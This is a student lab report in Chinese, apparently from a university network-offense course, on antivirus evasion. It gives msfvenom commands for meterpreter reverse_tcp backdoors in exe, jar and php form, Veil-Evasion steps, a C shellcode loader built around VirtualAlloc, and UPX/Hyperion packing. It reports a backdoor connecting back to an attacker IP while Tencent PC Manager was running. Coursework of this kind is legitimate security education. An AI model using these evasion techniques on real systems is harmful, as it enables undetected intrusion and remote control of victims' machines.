Exp3 免杀原理与实践 20164302 王一帆
1 实践内容
1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)
2 报告内容
2.1.基础问题回答
(1)杀软是如何检测出恶意代码的?
第一种:恶意代码中一般会有一段有明显特征的代码也就是特征码,如果杀毒软件通过扫描代码检测到的特征码与其特征码库的代码相匹配,就会把该该代码判定为恶意代码。
第二种:通过对恶意代码的行为进行跟踪、监视、观察、研究,有一些行为很像恶意代码的行为,当代码在运行时,杀毒软件发现了这种像特意代码的行为,则会把它判定为恶意代 码。
(2)免杀是做什么?
是指一种能使病毒木马免于被杀毒软件查杀的技术。
(3)免杀的基本方法有哪些?
通过使用msf编码器生成后门程序;通过msfvenom生成.jar .php等其他类型的文件;通过veil-evasion,加壳工具等一些工具,使用shellcode编程。
2.2.实践总结与体会
通过本次实验,最大感悟就是原来杀软并不能够保证我们电脑的安全,经过自己简单改变的后门程序,很多我们熟悉、常用的杀毒软件都没有报毒,很轻松的就是通过了杀软的扫描,现在网络技术的真的是很可怕,应该注意保护自己电脑的安全。真的非常抱歉这么晚才交报告,veil真的下了好久好久,最后听同学说是网速问题,开着热点用流量才安装好,真的是宿舍网速太。。。
2.3.开启杀软能绝对防止电脑中恶意代码吗?
通过实验,我们可以明确的知道,杀软是无法绝对的防止电脑中恶意代码的,我们在实验中通过不同方法的构造、编码、实验,居然真的能绕过杀毒软件,运行后门程序。
3 实践过程
3.1 任务一
3.1.1使用msf编码器,生成meterpreter可执行文件
这里跟Exp2中生成后门的过程一样,所以我直接用上一次实验生成的20164302_backdoor.exe后门文件,送到Virscan、VirusTotal网站上检测。

在virscan网站上检测是提示文件名中有违法,所以又重新修改了文件文再进行扫描。


从扫描结果来看,很容易就被发现,我特意看了一下我电脑上安装的杀毒软件——金山毒霸,报告病毒。
3.1.2 使用msf编码器对后门程序进行一次到多次的编码,并进行检测。
一次编码命令 mfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.95.128 LPORT= -f exe > met-encoded.exe ,将生成met-encode.exe直接在kali中打开浏览器进入virscan网站进行扫描。(为了节省时间,后面只用virscan扫描检测)


“危险”,有29个报毒,很显然不行,再进行十次编码看看, mfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i -b '\x00' LHOST=192.168.95.128 LPORT= -f exe > met-encoded10.exe ,再将生成的后门程序扫描。


还是29个,看来一次编码和十次编码都是一样的,编码并没有什么用。
3.1.3 用msfvenom生成jar文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.95.128 LPORT= x > 4302_backdoor.jar ,进行扫描。

突然想到第一次扫描时,文件名的问题,所以又重新生成了一下。

由“危险”变为“警告”,但是还有8款报毒。
3.1.4 用msfvenom生成php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.95.128 LPORT= x > 4302_backdoor_php.php ,扫描结果。


只有1个报毒了,“提醒”,感觉有希望。
3.1.5 使用veil-evasion生成后门程序及检测
Veil-Evasion是一个免杀平台,在Kali软件库中有,但没装。 apt-get install veil

输入 veil 进入veil,按“y"继续安装,

等了好久好久才安装,在安装过程期间,我继续做了后面的内容,这一部分是最后做的。
输入 use 进入Veil-Evasion。

list 看一下可用载荷

选用C语言生成payload, use c/meterpreter/rev_tcp.py

设置主机IP、端口号
set LHOST 192.168.95.128 set LPORT

generate 生成payload,然后命名为veil_backdoor

注意上图veil_backdoor.exe所在位置,扫描一下,14个报毒。

3.2 任务二
3.2.1 半手工打造恶意软件(C语言调用Shellcode)
生成C语言格式的shellcode数组
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.95.128 LPORT= -f c

利用上面的数组编写一个C程序, gedit 编辑一个文件,复制粘贴数组,并插入如下主函数,注意不要忘记函数头,最后保存为4302_backdoor.c。
int main()
{
void *exec = VirtualAlloc(, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();
}

输入 i686-w64-mingw32-g++ 4302_shellcode.c -o 4302_shellcode.exe 生成可执行文件

放到VirScan上检测一下

用ncat传到windows上试一下

发现一个木马病毒,仔细看了一下,幸好不是4302_shellcode.exe被检测出来,是实验第一步里面检测的程序。

把报毒的程序处理之后,又进行了一次杀毒。

后门和杀软共存,居然成功了!!!
3.3 任务三
3.3.1 压缩壳UPX
upx 4302_shellcode.exe -o 4302_upx_shellcode.exe


3.3.2 加密壳Hyperion
cd /usr/share/windows-binaries/hyperion/ wine hyperion.exe -v ~/007shellcode.exe 4302_hype_backdoor.exe

结果发现出了错误,是因为这个时候我veil还没有安装完,按照报错的提示我运行了 dpkg --add-architecture && apt-get update && > apt-get install wine32" 这段代码,然后就安装了好多好多。



23个??更多
3.4 任务四
3.4.1 通过组合应用各种技术实现恶意代码免杀
通过Shellcode与加壳组合之后进行反弹连接,并实现了与杀软共存


反弹成功,在Windows上运行一下

然后在自己的电脑上杀一下毒。

实现与杀软共存。
3.4.2 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
另一台电脑:腾讯电脑管家 13.3.20237.212
修改本机Kali的IP为桥接模式下的IP,用c+shellcode的方法生成后门,回连成功,实现了后门与杀软共存。


Exp3 免杀原理与实践 20164302 王一帆的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...
随机推荐
- 五十七、linux 编程——UDP 编程 域名解析
57.1 介绍 57.1.1 域名解析 57.1.2 域名解析函数 gethostent 可以获取多组,gethostbyname 只可以获取一组 /etc/hosts 文件设置了域名和 IP 的绑定 ...
- Spring rabbitMq 中 correlationId或CorrelationIdString 消费者获取为null的问题
问题 在用Spring boot 的 spring-boot-starter-amqp 快速启动 rabbitMq 是遇到了个坑 消费者端获取不到:correlationId或Correlatio ...
- 移动端返回上一页,刚需!document.referrer 详解
返回上一页,在PC端我们可以使用:history.go(-1)或者history.back(),可以正常返回第一层.这样,我们不需要上一页的 url 具体是什么,只要使用 history 一般都没啥问 ...
- Keep面经汇总
目录 一.Java 线程如何终止 如何用一个cancel方法停止两个线程 泛型原理.使用场景.优缺点 手写代码,设计parseInt hashmap是怎么实现的,是线程安全的吗 知道hashmap的扩 ...
- vscode 前端插件推荐
参考链接:https://segmentfault.com/a/1190000011779959?utm_source=tag-newest#articleHeader48
- SQL server查询语句
作者:邓聪聪 mysql部分语句的查询,持续更新 系统函数 函数名 描述 举例 convert() 数据类型转换 selece convert(varchar(5),12345) 返回:字符串1234 ...
- Asp.Net Core 项目搭建基础
很多新接触ASP.NET Core 技术的同学可能会对项目运行机制不了解,会碰到服务在哪添加?路由在哪配置?中间件怎么使用?依赖注入在哪写?诸如此类的问题.同样作为初学者,以下是本人在学习.Net技术 ...
- centos6.6 minimal cannot found a valid baseurl for repo :base
网上找了很久,说什么NDS1=8.8.8.8,DNS2=4.2.2.2 也有说改ifcfg-eth0文件的 总之我都改了,但都没用 现在我把我修改的流程发上来 1.https://blog.csdn. ...
- 九 Jenkins持续集成
随时随地将代码合并的方法叫做 持续集成 =================================================================== 视频用的10.0.0.1 ...
- PDF怎么添加文字水印与图片水印
现在是个知识分享时代,但不可避免的盗版也无处不在,不知道在我们大家身边有没有遇到过这样的情况:自己煞费苦心制作的PDF文档不知道在什么时候就会被别人给盗用了,那么如何才能尽量避免这个问题呢?今天带大家 ...